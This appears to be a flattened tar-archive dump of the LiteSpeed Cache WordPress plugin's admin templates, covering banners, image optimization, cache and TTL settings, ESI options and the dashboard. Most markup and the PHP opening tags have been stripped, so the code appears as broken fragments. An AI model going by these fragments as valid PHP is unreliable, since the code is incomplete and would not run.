    title( $option_id ); ?> build_switch( $option_id ); ?>
    form_end(); ?> plugins/litespeed-cache/tpl/banner/slack.php000064400000004142152335264760015134 0ustar00

    LiteSpeed Slack' ); ?>

    golitespeed.slack.com

    'slack' ) ); ?>
    plugins/litespeed-cache/tpl/banner/cloud_news.tpl.php000064400000004202152335264760016774 0ustar00

    _summary['news.title'] ); ?>

    _summary['news.content'] ); ?>

    _summary['news.plugin'] ) ) : ?> $this->_summary['news.plugin'] ) ); ?> _summary['news.plugin_name'] ) ) { echo esc_html( $this->_summary['news.plugin_name'] ); } ?> _summary['news.zip'] ) ) : ?>
    X
    plugins/litespeed-cache/tpl/banner/cloud_promo.tpl.php000064400000005724152335264760017166 0ustar00

    ' . absint($this->_summary['promo'][0]['quota']) . '' ); ?>

    _summary['promo'][0]['quota']) ); ?>

    _summary['promo'][0]['content']); ?>

    . X
    plugins/litespeed-cache/tpl/banner/score.php000064400000016313152335264760015155 0ustar00scores(); // Exit if speed is not significantly improved or score is reduced. if ( $health_scores['speed_before'] <= $health_scores['speed_after'] * 2 || $health_scores['score_before'] >= $health_scores['score_after'] ) { return; } // Banner can be shown now. $this->_promo_true = true; if ( $check_only ) { return; } $ajax_url_promo = Utility::build_url(Core::ACTION_DISMISS, GUI::TYPE_DISMISS_PROMO, true, null, array( 'promo_tag' => $promo_tag ), true); ?>


    s

    s

    %


    get_cls_of_pagescore( $health_scores['score_before'] ) ) ), GUI::allowed_svg_tags() ); ?>

    get_cls_of_pagescore( $health_scores['score_after'] ) ) ), GUI::allowed_svg_tags() ); ?>

    %
    'score', 'later' => 1, ) ); ?>
    plugins/litespeed-cache/tpl/banner/new_version.php000064400000007473152335264760016407 0ustar00conf( Base::O_AUTO_UPGRADE ) ) { return; } $current = get_site_transient( 'update_plugins' ); if ( ! isset( $current->response[ Core::PLUGIN_FILE ] ) ) { return; } // Check for new version every 12 hours. $last_check = empty( $this->_summary['new_version.last_check'] ) ? 0 : $this->_summary['new_version.last_check']; if ( time() - $last_check > 43200 ) { GUI::save_summary( array( 'new_version.last_check' => time() ) ); // Detect version $auto_v = Cloud::version_check( 'new_version_banner' ); if ( ! empty( $auto_v['latest'] ) ) { GUI::save_summary( array( 'new_version.v' => $auto_v['latest'] ) ); } // After detect, don't show, just return and show next time return; } if ( ! isset( $this->_summary['new_version.v'] ) || version_compare( Core::VER, $this->_summary['new_version.v'], '>=' ) ) { return; } // Banner can be shown now. $this->_promo_true = true; if ( $check_only ) { return; } ?>

    :

    _summary['new_version.v'] ) ); ?>

    1 ); $url = Utility::build_url( Router::ACTION_CONF, Conf::TYPE_SET, false, null, $cfg ); ?>
    'new_version' ) ); ?>
    'new_version', 'later' => 1, ) ); ?>
    plugins/litespeed-cache/tpl/banner/ajax.php000064400000001151152335264760014757 0ustar00 plugins/litespeed-cache/tpl/banner/new_version_dev.tpl.php000064400000003060152335264760020027 0ustar00

    :

    _summary['version.dev'] ) ); ?>

    'dev' ) ); ?>
    plugins/litespeed-cache/tpl/img_optm/entry.tpl.php000064400000002427152335264760016350 0ustar00 esc_html__( 'Image Optimization Summary', 'litespeed-cache' ), 'settings' => esc_html__( 'Image Optimization Settings', 'litespeed-cache' ), ); if ( is_network_admin() ) { $menu_list = array( 'network_settings' => esc_html__( 'Image Optimization Settings', 'litespeed-cache' ), ); } ?>

    v
    $val ) { echo '
    '; require LSCWP_DIR . 'tpl/img_optm/' . $menu_key . '.tpl.php'; echo '
    '; } ?>
    plugins/litespeed-cache/tpl/img_optm/settings.media_webp.tpl.php000064400000003040152335264760021132 0ustar00 title( $option_id ); ?> build_switch( $option_id, array( esc_html__( 'OFF', 'litespeed-cache' ), 'WebP', 'AVIF' ) ); ?>



    ⚠️
    ⚠️
    plugins/litespeed-cache/tpl/img_optm/network_settings.tpl.php000064400000001313152335264760020611 0ustar00form_action( Router::ACTION_SAVE_SETTINGS_NETWORK ); ?>

    form_end();plugins/litespeed-cache/tpl/img_optm/settings.tpl.php000064400000012100152335264760017034 0ustar00form_action(); ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>

    🚨
    title( $option_id ); ?> build_switch( $option_id ); ?>
    conf( $option_id ); ?> title( $option_id ); ?> 0 ) : ?> build_checkbox( $option_id . '[]', esc_html( $current_size['label'] ), $checked, $current_size['file_size'] ); } ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?>

    element.attribute', '.attribute' ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    srcset' ); ?>
    form_end(); plugins/litespeed-cache/tpl/img_optm/summary.tpl.php000064400000045771152335264760016715 0ustar00allowance( Cloud::SVC_IMG_OPTM ); $img_optm = Img_Optm::cls(); $wet_limit = $img_optm->wet_limit(); $img_count = $img_optm->img_count(); $optm_summary = Img_Optm::get_summary(); list($last_run, $is_running) = $img_optm->cron_running( false ); $finished_percentage = 0; if ( $img_count['groups_all'] ) { $finished_percentage = 100 - floor( $img_count['groups_new'] * 100 / $img_count['groups_all'] ); } if ( 100 === $finished_percentage && $img_count['groups_new'] ) { $finished_percentage = 99; } $unfinished_num = 0; if ( ! empty( $img_count[ 'img.' . Img_Optm::STATUS_REQUESTED ] ) ) { $unfinished_num += $img_count[ 'img.' . Img_Optm::STATUS_REQUESTED ]; } if ( ! empty( $img_count[ 'img.' . Img_Optm::STATUS_NOTIFIED ] ) ) { $unfinished_num += $img_count[ 'img.' . Img_Optm::STATUS_NOTIFIED ]; } if ( ! empty( $img_count[ 'img.' . Img_Optm::STATUS_ERR_FETCH ] ) ) { $unfinished_num += $img_count[ 'img.' . Img_Optm::STATUS_ERR_FETCH ]; } $imgoptm_service_hot = $this->cls( 'Cloud' )->service_hot( Cloud::SVC_IMG_OPTM . '-' . Img_Optm::CLOUD_ACTION_NEW_REQ ); ?>

    ' . intval( $allowance ) . '' ); ?>

    ' . esc_html( $wet_limit ) . ''; ?>

    :

    : ()

    : ()

    : ()

    ' . esc_html( Utility::readable_time( $last_run ) ) . '' ); ?>

    : ()

    %4$s', ( $unfinished_num ? esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_CLEAN ) ) : 'javascript:;' ), esc_html__( 'Remove all previous unfinished image optimization requests.', 'litespeed-cache' ), ( $unfinished_num ? '' : ' disabled' ), esc_html__( 'Clean Up Unfinished Data', 'litespeed-cache' ) . ( $unfinished_num ? ': ' . esc_html( Admin_Display::print_plural( $unfinished_num, 'image' ) ) : '' ) ); ?>

    ' . esc_html( Utility::readable_time( $optm_summary['bk_summary']['date'] ) ) . ''; ?>

    ' . intval( $optm_summary['bk_summary']['count'] ) . ''; ?>

    ' . esc_html( Utility::real_size( $optm_summary['bk_summary']['sum'] ) ) . ''; ?>

    get_image_sizes() as $size_title => $size ) { printf( '
    %1$s ( %2$s x %3$s )
    ', esc_html( $size_title ), $size['width'] ? esc_html( $size['width'] ) . 'px' : '*', $size['height'] ? esc_html( $size['height'] ) . 'px' : '*' ); } ?>

    🚨

    ' . esc_html( Utility::readable_time( $optm_summary['rmbk_summary']['date'] ) ) . ''; ?>

    ' . esc_html( $optm_summary['rmbk_summary']['count'] ) . ''; ?>

    ' . esc_html( Utility::real_size( $optm_summary['rmbk_summary']['sum'] ) ) . ''; ?>

    :

    :
    :

    :

    :

    :

    :

    plugins/litespeed-cache/tpl/esi.tpl.php000064400000000321152335264760014143 0ustar00load_esi_block(); plugins/litespeed-cache/tpl/cache/network_settings-excludes.tpl.php000064400000001272152335264760021657 0ustar00

    plugins/litespeed-cache/tpl/cache/settings_inc.login_cookie.tpl.php000064400000007042152335264760021566 0ustar00 title( $option_id ); ?> build_input( $option_id ); ?> _validate_syntax( $option_id ); ?>

    _lscache_vary' ); ?>

    www.example.com' ); ?>
    www.example.com/blog/' ); ?>
    conf( $option_id ) ) ) : ?>

    conf( $option_id ) ) { $cookie_rule = ''; try { $cookie_rule = Htaccess::cls()->current_login_cookie(); } catch ( \Exception $e ) { ?>

    getMessage() ); ?>

    conf( $option_id ), $cookie_arr, true ) ) { ?>

    title( $option_id ); ?> build_textarea( $option_id, 50 ); ?> _validate_syntax( $option_id ); ?>


    plugins/litespeed-cache/tpl/cache/network_settings-purge.tpl.php000064400000001107152335264760021162 0ustar00

    plugins/litespeed-cache/tpl/cache/settings_inc.cache_mobile.tpl.php000064400000005351152335264760021520 0ustar00 title( $cid ); ?> build_switch( $cid ); ?>


    title( $cid ); ?> conf( Base::O_CACHE_MOBILE ) ) { if ( defined( 'LITESPEED_ON' ) ) { try { $mobile_agents = Htaccess::cls()->current_mobile_agents(); if ( Utility::arr2regex( $this->conf( $cid ), true ) !== $mobile_agents ) { ?>

    ' . esc_html( $mobile_agents ) . '' ); ?>

    getMessage() ); ?>

    _validate_syntax( $cid ); ?> conf( Base::O_CACHE_MOBILE ) && ! $this->conf( $cid ) ) : ?> ' . esc_html__( 'Cache Mobile', 'litespeed-cache' ) . '', '' . esc_html__( 'ON', 'litespeed-cache' ) . '', '' . esc_html__( 'List of Mobile User Agents', 'litespeed-cache' ) . '' ); ?>
    plugins/litespeed-cache/tpl/cache/entry.tpl.php000064400000007120152335264760015573 0ustar00_is_network_admin ) { $menu_list = array( 'cache' => __( 'Cache', 'litespeed-cache' ), 'purge' => __( 'Purge', 'litespeed-cache' ), 'excludes' => __( 'Excludes', 'litespeed-cache' ), 'object' => __( 'Object', 'litespeed-cache' ), 'browser' => __( 'Browser', 'litespeed-cache' ), 'advanced' => __( 'Advanced', 'litespeed-cache' ), ); ?>


    cache_disabled_warning(); ?> form_action( Router::ACTION_SAVE_SETTINGS_NETWORK ); foreach ( $menu_list as $k => $val ) { $k_escaped = esc_attr( $k ); ?>
    form_end(); ?>
    __( 'Cache', 'litespeed-cache' ), 'ttl' => __( 'TTL', 'litespeed-cache' ), 'purge' => __( 'Purge', 'litespeed-cache' ), 'excludes' => __( 'Excludes', 'litespeed-cache' ), 'esi' => __( 'ESI', 'litespeed-cache' ), ); if ( ! $this->_is_multisite ) { $menu_list['object'] = __( 'Object', 'litespeed-cache' ); $menu_list['browser'] = __( 'Browser', 'litespeed-cache' ); } $menu_list['advanced'] = __( 'Advanced', 'litespeed-cache' ); /** * Generate roles for setting usage * * @since 1.6.2 */ global $wp_roles; $wp_orig_roles = $wp_roles; if ( ! isset( $wp_roles ) ) { $wp_orig_roles = new \WP_Roles(); } $roles = array(); foreach ( $wp_orig_roles->roles as $k => $v ) { $roles[ $k ] = $v['name']; } ksort( $roles ); ?>


    cache_disabled_warning(); ?> form_action(); require LSCWP_DIR . 'tpl/inc/check_if_network_disable_all.php'; require LSCWP_DIR . 'tpl/cache/more_settings_tip.tpl.php'; foreach ( $menu_list as $k => $val ) { echo '
    '; require LSCWP_DIR . "tpl/cache/settings-$k.tpl.php"; echo '
    '; } do_action( 'litespeed_settings_content', 'cache' ); $this->form_end(); ?>
    plugins/litespeed-cache/tpl/cache/settings_inc.exclude_useragent.tpl.php000064400000001432152335264760022630 0ustar00 title( $option_id ); ?> build_textarea( $option_id ); ?>
    _validate_syntax( $option_id ); ?>
    plugins/litespeed-cache/tpl/cache/settings-ttl.tpl.php000064400000006563152335264760017105 0ustar00

    title( $option_id ); ?> build_input( $option_id ); ?> readable_seconds(); ?>
    recommended( $option_id ); ?> _validate_ttl( $option_id, 30 ); ?>
    title( $option_id ); ?> build_input( $option_id ); ?> readable_seconds(); ?>
    recommended( $option_id ); ?> _validate_ttl( $option_id, 60, 3600 ); ?>
    title( $option_id ); ?> build_input( $option_id ); ?> readable_seconds(); ?>
    recommended( $option_id ); ?> _validate_ttl( $option_id, 30 ); ?>
    title( $option_id ); ?> build_input( $option_id ); ?> readable_seconds(); ?>
    recommended( $option_id ); ?>
    title( $option_id ); ?> build_input( $option_id ); ?> readable_seconds(); ?>
    recommended( $option_id ); ?>
    title( $option_id ); ?>
    plugins/litespeed-cache/tpl/cache/settings-advanced.tpl.php000064400000005065152335264760020043 0ustar00

    _is_multisite ) : ?>
    title( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>

    ⚠️
    plugins/litespeed-cache/tpl/cache/network_settings-advanced.tpl.php000064400000001077152335264760021613 0ustar00

    plugins/litespeed-cache/tpl/cache/settings_inc.browser.tpl.php000064400000004453152335264760020613 0ustar00

    :

    title( $option_id ); ?> build_switch( $option_id ); ?>


    ', '' ); ?>
    title( $option_id ); ?> build_input( $option_id ); ?> readable_seconds(); ?>
    recommended( $option_id ); ?> _validate_ttl( $option_id, 30 ); ?>
    plugins/litespeed-cache/tpl/cache/network_settings-cache.tpl.php000064400000002413152335264760021104 0ustar00

    build_switch( Base::O_CACHE ); ?>


    plugins/litespeed-cache/tpl/cache/settings-cache.tpl.php000064400000013220152335264760017331 0ustar00

    _is_multisite ) : ?> _is_multisite ) : ?>
    title( $option_id ); ?> _is_multisite ) : ?> build_switch( $option_id, array( esc_html__( 'OFF', 'litespeed-cache' ), esc_html__( 'ON', 'litespeed-cache' ), esc_html__( 'Use Network Admin Setting', 'litespeed-cache' ) ) ); ?> build_switch( $option_id ); ?>
    ', '' ); ?>
    :
    _is_multisite ) : ?>
    conf( Base::O_CACHE ) && $this->conf( Base::O_CDN_QUIC ) ) : ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    _uri_usage_example(); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    _uri_usage_example(); ?>
    /mypath/mypage 300', 300, '/mypath/mypage' ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    _uri_usage_example(); ?>
    /mypath/mypage 300', 300, '/mypath/mypage' ); ?>
    plugins/litespeed-cache/tpl/cache/settings-esi.tpl.php000064400000013463152335264760017057 0ustar00

    💡: [shortcodeA att1="val1" att2="val2"]', '[esi shortcodeA att1="val1" att2="val2"]' ); ?>

    conf( Base::O_CDN_QUIC ) ) : ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?>
    build_textarea( $option_id ); ?>

    : https://github.com/litespeedtech/lscache_wp/blob/master/data/esi.nonces.txt
    : litespeed_esi_nonces' ); ?>


    : my_nonce_action private
    *', 'nonce_formid_1', 'nonce_formid_3', 'nonce_formid_*' ); ?>
    title( $option_id ); ?> $curr_title ) : ?>
    build_input( $option_id . '[' . $curr_role . ']', 'litespeed-input-short', $this->cls( 'Vary' )->in_vary_group( $curr_role ) ); ?>
    plugins/litespeed-cache/tpl/cache/settings-browser.tpl.php000064400000000322152335264760017750 0ustar00' . esc_html__( 'Enabled', 'litespeed-cache' ) . ''; $lang_disabled = '' . esc_html__( 'Disabled', 'litespeed-cache' ) . ''; $mem_enabled = class_exists( 'Memcached' ) ? $lang_enabled : $lang_disabled; $redis_enabled = class_exists( 'Redis' ) ? $lang_enabled : $lang_disabled; $mem_conn = $this->cls( 'Object_Cache' )->test_connection(); if ( null === $mem_conn ) { $mem_conn_desc = '' . esc_html__( 'Not Available', 'litespeed-cache' ) . ''; } elseif ( $mem_conn ) { $mem_conn_desc = '' . esc_html__( 'Passed', 'litespeed-cache' ) . ''; } else { $severity = $this->conf( Base::O_OBJECT, true ) ? 'danger' : 'warning'; $mem_conn_desc = '' . esc_html__( 'Failed', 'litespeed-cache' ) . ''; } ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>

    :
    :
    :
    title( $option_id ); ?> build_switch( $option_id, array( 'Memcached', 'Redis' ) ); ?>
    title( $option_id ); ?> build_input( $option_id ); ?>
    LSMCD/Redis' ); ?>
    /path/to/memcached.sock' ); ?>
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short2' ); ?>
    11211' ); ?>
    6379' ); ?>
    0' ); ?>
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short2' ); ?>
    title( $option_id ); ?> build_input( $option_id ); ?>
    title( $option_id ); ?> build_input( $option_id ); ?>
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short' ); ?>
    title( $option_id ); ?> build_textarea( $option_id, 30 ); ?>
    title( $option_id ); ?> build_textarea( $option_id, 30 ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    plugins/litespeed-cache/tpl/cache/network_settings-object.tpl.php000064400000000442152335264760021307 0ustar00

    esc_html__( 'All pages', 'litespeed-cache' ), Base::O_PURGE_POST_FRONTPAGE => esc_html__( 'Front page', 'litespeed-cache' ), Base::O_PURGE_POST_HOMEPAGE => esc_html__( 'Home page', 'litespeed-cache' ), Base::O_PURGE_POST_PAGES => esc_html__( 'Pages', 'litespeed-cache' ), Base::O_PURGE_POST_PAGES_WITH_RECENT_POSTS => esc_html__( 'All pages with Recent Posts Widget', 'litespeed-cache' ), Base::O_PURGE_POST_AUTHOR => esc_html__( 'Author archive', 'litespeed-cache' ), Base::O_PURGE_POST_POSTTYPE => esc_html__( 'Post type archive', 'litespeed-cache' ), Base::O_PURGE_POST_YEAR => esc_html__( 'Yearly archive', 'litespeed-cache' ), Base::O_PURGE_POST_MONTH => esc_html__( 'Monthly archive', 'litespeed-cache' ), Base::O_PURGE_POST_DATE => esc_html__( 'Daily archive', 'litespeed-cache' ), Base::O_PURGE_POST_TERM => esc_html__( 'Term archive (include category, tag, and tax)', 'litespeed-cache' ), ); // break line at these ids $break_arr = array( Base::O_PURGE_POST_PAGES, Base::O_PURGE_POST_PAGES_WITH_RECENT_POSTS, Base::O_PURGE_POST_POSTTYPE, Base::O_PURGE_POST_DATE, ); ?> _is_multisite ) : ?>



    $cur_title ) { $this->build_checkbox( $option_id, $cur_title ); if ( in_array( $option_id, $break_arr, true ) ) { echo '
    '; } } ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>


    title( $option_id ); ?> build_textarea( $option_id, 80 ); ?>

    http://www.example.com/path/url.php', '/path/url.php' ); ?>
    *', '/path/u-1.html', '/path/u-2.html', '/path/u-*.html' ); ?>


    title( $option_id ); ?> build_input( $option_id, null, null, 'time' ); ?>
    ' . esc_html( gmdate( 'H:i:s', time() + LITESPEED_TIME_OFFSET ) ) . '' ); ?>
    title( $option_id ); ?>
    plugins/litespeed-cache/tpl/cache/settings-object.tpl.php000064400000000321152335264760017532 0ustar00 title( $option_id ); ?> build_switch( $option_id ); ?>
    plugins/litespeed-cache/tpl/cache/settings_inc.cache_dropquery.tpl.php000064400000002134152335264760022277 0ustar00 title( $option_id ); ?> build_textarea( $option_id, 40 ); ?>
    utm', 'utm*' ); ?>

    plugins/litespeed-cache/tpl/cache/network_settings-browser.tpl.php000064400000000425152335264760021525 0ustar00 title( $option_id ); ?> build_textarea( $option_id ); ?>
    _validate_syntax( $option_id ); ?>
    plugins/litespeed-cache/tpl/cache/settings-excludes.tpl.php000064400000011463152335264760020111 0ustar00

    _is_multisite ) : require LSCWP_DIR . 'tpl/cache/settings_inc.exclude_cookies.tpl.php'; require LSCWP_DIR . 'tpl/cache/settings_inc.exclude_useragent.tpl.php'; endif; ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    ?aa=bb&cc=dd', 'aa', 'cc' ); ?>
    title( $option_id ); ?> conf( $option_id ) ) { $excludes_buf = implode( "\n", array_map( 'get_cat_name', $this->conf( $option_id ) ) ); } $this->build_textarea( $option_id, false, $excludes_buf ); ?>

    :

    title( $option_id ); ?> conf( $option_id ) ) { $tag_names = array(); foreach ( array_map( 'get_tag', $this->conf( $option_id ) ) as $curr_tag ) { $tag_names[] = $curr_tag->name; } if ( ! empty( $tag_names ) ) { $excludes_buf = implode( "\n", $tag_names ); } } $this->build_textarea( $option_id, false, $excludes_buf ); ?>

    :

    1. http://www.example.com/tag/category/tag-slug/', 'tag-slug' ); ?>
    title( $option_id ); ?>
    $curr_title ) : ?> build_checkbox( $option_id . '[]', esc_html( $curr_title ), Control::cls()->in_cache_exc_roles( $curr_role ), $curr_role ); ?>
    plugins/litespeed-cache/tpl/cache/more_settings_tip.tpl.php000064400000001236152335264760020172 0ustar00

    ' . esc_html__( 'LiteSpeed Cache', 'litespeed-cache' ) . '' ); ?>

    plugins/litespeed-cache/tpl/dash/network_dash.tpl.php000064400000011242152335264760016776 0ustar00
    $cloud_summary ) : ?>


    esc_html__( 'Image Optimization', 'litespeed-cache' ), 'page_optm' => esc_html__( 'Page Optimization', 'litespeed-cache' ), 'cdn' => esc_html__( 'CDN Bandwidth', 'litespeed-cache' ), 'lqip' => esc_html__( 'Low Quality Image Placeholder', 'litespeed-cache' ), ); foreach ( $cat_list as $svc => $svc_title ) : $finished_percentage = 0; $total_used = '-'; $used = '-'; $quota = '-'; $pag_used = '-'; $pag_total = '-'; $pag_width = 0; $pag_bal = 0; if ( ! empty( $cloud_summary[ 'usage.' . $svc ] ) ) { $usage = $cloud_summary[ 'usage.' . $svc ]; $finished_percentage = floor( $usage['used'] * 100 / $usage['quota'] ); $used = $usage['used']; $quota = $usage['quota']; $pag_used = ! empty( $usage['pag_used'] ) ? $usage['pag_used'] : 0; $pag_bal = ! empty( $usage['pag_bal'] ) ? $usage['pag_bal'] : 0; $pag_total = $pag_used + $pag_bal; if ( $pag_total ) { $pag_width = round( $pag_used / $pag_total * 100 ) . '%'; } if ( 'cdn' === $svc ) { $used = Utility::real_size( $used * 1024 * 1024 ); $quota = Utility::real_size( $quota * 1024 * 1024 ); $pag_used = Utility::real_size( $pag_used * 1024 * 1024 ); $pag_total = Utility::real_size( $pag_total * 1024 * 1024 ); } if ( ! empty( $usage['total_used'] ) ) { $total_used = $usage['total_used']; } } $percentage_bg = 'success'; if ( 95 < $finished_percentage ) { $percentage_bg = 'danger'; } elseif ( 85 < $finished_percentage ) { $percentage_bg = 'warning'; } ?>

    /

    :

    : / ∞

    plugins/litespeed-cache/tpl/dash/dashboard.tpl.php000064400000127474152335264760016254 0ustar00scores(); $crawler_summary = Crawler::get_summary(); // Image related info $img_optm_summary = Img_Optm::get_summary(); $img_count = Img_Optm::cls()->img_count(); $img_finished_percentage = 0; if ( ! empty( $img_count['groups_all'] ) ) { $img_finished_percentage = 100 - floor( $img_count['groups_new'] * 100 / $img_count['groups_all'] ); } if ( 100 === $img_finished_percentage && ! empty( $img_count['groups_new'] ) ) { $img_finished_percentage = 99; } $cloud_instance = Cloud::cls(); $cloud_instance->finish_qc_activation(); $cloud_summary = Cloud::get_summary(); $css_summary = CSS::get_summary(); $ucss_summary = UCSS::get_summary(); $placeholder_summary = Placeholder::get_summary(); $vpi_summary = VPI::get_summary(); $ccss_count = count( $this->load_queue( 'ccss' ) ); $ucss_count = count( $this->load_queue( 'ucss' ) ); $placeholder_queue_count = count( $this->load_queue( 'lqip' ) ); $vpi_queue_count = count( $this->load_queue( 'vpi' ) ); $can_page_load_time = defined( 'LITESPEED_SERVER_TYPE' ) && 'NONE' !== LITESPEED_SERVER_TYPE; ?>
    activated() && ! Admin_Display::has_qc_hide_banner() ) : ?>

    esc_html__( 'Public Cache', 'litespeed-cache' ), Base::O_CACHE_PRIV => esc_html__( 'Private Cache', 'litespeed-cache' ), Base::O_OBJECT => esc_html__( 'Object Cache', 'litespeed-cache' ), Base::O_CACHE_BROWSER => esc_html__( 'Browser Cache', 'litespeed-cache' ), ); foreach ( $cache_list as $cache_option => $cache_title ) : ?>

    conf( $cache_option ) ) : ?>

    list_crawlers() ) ); ?>

    :

    :

    :

    :

    ' . esc_html__( 'Last crawled:', 'litespeed-cache' ) . '', esc_html( $crawler_summary['last_crawled'] ) ); ?>

    load_qc_status_for_dash( 'news_dash_guest' ); if ( ! empty( $news ) ) : ?>

    activated() && ! Admin_Display::has_qc_hide_banner() ) : ?>

    QUIC.cloud Online Services and CDN.', 'litespeed-cache' ) ); ?>

    activated() && Admin_Display::has_qc_hide_banner() ) : ?>

    QUIC.cloud' ); ?>

    esc_html__( 'Image Optimization', 'litespeed-cache' ), 'page_optm' => esc_html__( 'Page Optimization', 'litespeed-cache' ), 'cdn' => esc_html__( 'CDN Bandwidth', 'litespeed-cache' ), 'lqip' => esc_html__( 'Low Quality Image Placeholder', 'litespeed-cache' ), ); foreach ( $cat_list as $svc => $svc_title ) : $finished_percentage = 0; $total_used = '-'; $used = '-'; $quota = '-'; $pag_used = '-'; $pag_total = '-'; $pag_width = 0; $percentage_bg = 'success'; $pag_txt_color = ''; $usage = false; if ( ! empty( $cloud_summary[ 'usage.' . $svc ] ) ) { $usage = $cloud_summary[ 'usage.' . $svc ]; $finished_percentage = floor( $usage['used'] * 100 / $usage['quota'] ); $used = (int) $usage['used']; $quota = (int) $usage['quota']; $pag_used = ! empty( $usage['pag_used'] ) ? (int) $usage['pag_used'] : 0; $pag_bal = ! empty( $usage['pag_bal'] ) ? (int) $usage['pag_bal'] : 0; $pag_total = $pag_used + $pag_bal; if ( ! empty( $usage['total_used'] ) ) { $total_used = (int) $usage['total_used']; } if ( $pag_total ) { $pag_width = round( $pag_used / $pag_total * 100 ) . '%'; } if ( $finished_percentage > 85 ) { $percentage_bg = 'warning'; if ( $finished_percentage > 95 ) { $percentage_bg = 'danger'; if ( $pag_bal ) { $percentage_bg = 'warning'; $pag_txt_color = 'litespeed-success'; } } } } ?>

    /

    0 ) : ?>

    :

    $sub_usage ) : ?> :

    : / ∞

    = 0 && isset( $usage['daily_quota'] ) && $usage['daily_quota'] >= 0 ) : ?>

    : /


    s

    s

    %




    conf( $guest_option ) ) : ?>

    get_cls_of_pagescore( $health_scores['score_before'] ) ) ), GUI::allowed_svg_tags() ); ?>

    get_cls_of_pagescore( $health_scores['score_after'] ) ) ), GUI::allowed_svg_tags() ); ?>

    %

    : ()

    : ()

    :

    :

    Lang::title( Base::O_IMG_OPTM_AUTO ), ); foreach ( $opt_list as $opt_id => $opt_title ) : ?>

    conf( $opt_id ) ) : ?>

    esc_html__( 'Public Cache', 'litespeed-cache' ), Base::O_CACHE_PRIV => esc_html__( 'Private Cache', 'litespeed-cache' ), Base::O_OBJECT => esc_html__( 'Object Cache', 'litespeed-cache' ), Base::O_CACHE_BROWSER => esc_html__( 'Browser Cache', 'litespeed-cache' ), ); foreach ( $cache_list as $cache_option => $cache_title ) : ?>

    conf( $cache_option ) ) : ?>

    ' . esc_html( Utility::readable_time( $css_summary['last_request_ccss'] ) ) . '' ); ?>

    ' . esc_html( $css_summary['last_spent_ccss'] ) . 's' ); ?>

    :

    ' . esc_html( Utility::readable_time( $ucss_summary['last_request'] ) ) . '' ); ?>

    ' . esc_html( $ucss_summary['last_spent'] ) . 's' ); ?>

    :

    ' . esc_html( Utility::readable_time( $placeholder_summary['last_request'] ) ) . '' ); ?>

    ' . esc_html( $placeholder_summary['last_spent'] ) . 's' ); ?>

    :

    (VPI)

    ' . esc_html( Utility::readable_time( $vpi_summary['last_request'] ) ) . '' ); ?>

    ' . esc_html( $vpi_summary['last_spent'] ) . 's' ); ?>

    :

    list_crawlers() ) ); ?>

    :

    :

    :

    :

    ' . esc_html__( 'Last crawled:', 'litespeed-cache' ) . '', esc_html( $crawler_summary['last_crawled'] ) ); ?>

    activated() ? Cloud::TYPE_ENABLE_CDN : Cloud::TYPE_ACTIVATE ) ), '' . esc_html__( 'Enable QUIC.cloud CDN', 'litespeed-cache' ), true, 'button button-primary litespeed-button-cta' ); ?>

    ' . esc_html__( 'more', 'litespeed-cache' ) . '' ); ?>

    load_qc_status_for_dash( 'cdn_dash_mini' ) ); ?>
    activated() ) : ?>
    load_qc_status_for_dash( 'promo_mini' ); if ( $promo_mini ) : echo wp_kses_post( $promo_mini ); endif; ?> activated() ) : ?> load_qc_status_for_dash( 'news_dash' ); if ( $news ) : ?>

    plugins/litespeed-cache/tpl/dash/entry.tpl.php000064400000001704152335264760015451 0ustar00 esc_html__( 'Dashboard', 'litespeed-cache' ), ); if ( $this->_is_network_admin ) { $menu_list = array( 'network_dash' => esc_html__( 'Network Dashboard', 'litespeed-cache' ), ); } ?>


    $tab_val ) { echo '
    '; require LSCWP_DIR . 'tpl/dash/' . $tab_key . '.tpl.php'; echo '
    '; } ?>
    plugins/litespeed-cache/tpl/esi_widget_edit.php000064400000005075152335264760015730 0ustar00 Base::VAL_OFF, ESI::WIDGET_O_TTL => '28800', ); add_filter( 'litespeed_widget_default_options', 'LiteSpeed\ESI::widget_default_options', 10, 2 ); $options = apply_filters( 'litespeed_widget_default_options', $options, $widget ); } if ( empty( $options ) ) { $esi = Base::VAL_OFF; $ttl = '28800'; } else { $esi = $options[ ESI::WIDGET_O_ESIENABLE ]; $ttl = $options[ ESI::WIDGET_O_TTL ]; } $display = Admin_Display::cls(); ?>

    :

    :  
    get_field_name( $esi_option ); $cache_status_list = array( array( Base::VAL_ON, esc_html__( 'Public', 'litespeed-cache' ) ), array( Base::VAL_ON2, esc_html__( 'Private', 'litespeed-cache' ) ), array( Base::VAL_OFF, esc_html__( 'Disable', 'litespeed-cache' ) ), ); foreach ( $cache_status_list as $v ) { list( $value, $label ) = $v; $id_attr = $widget->get_field_id( $esi_option ) . '_' . $value; $checked = $esi === $value ? 'checked' : ''; ?> />


    :   get_field_name( $ttl_option ); ?>


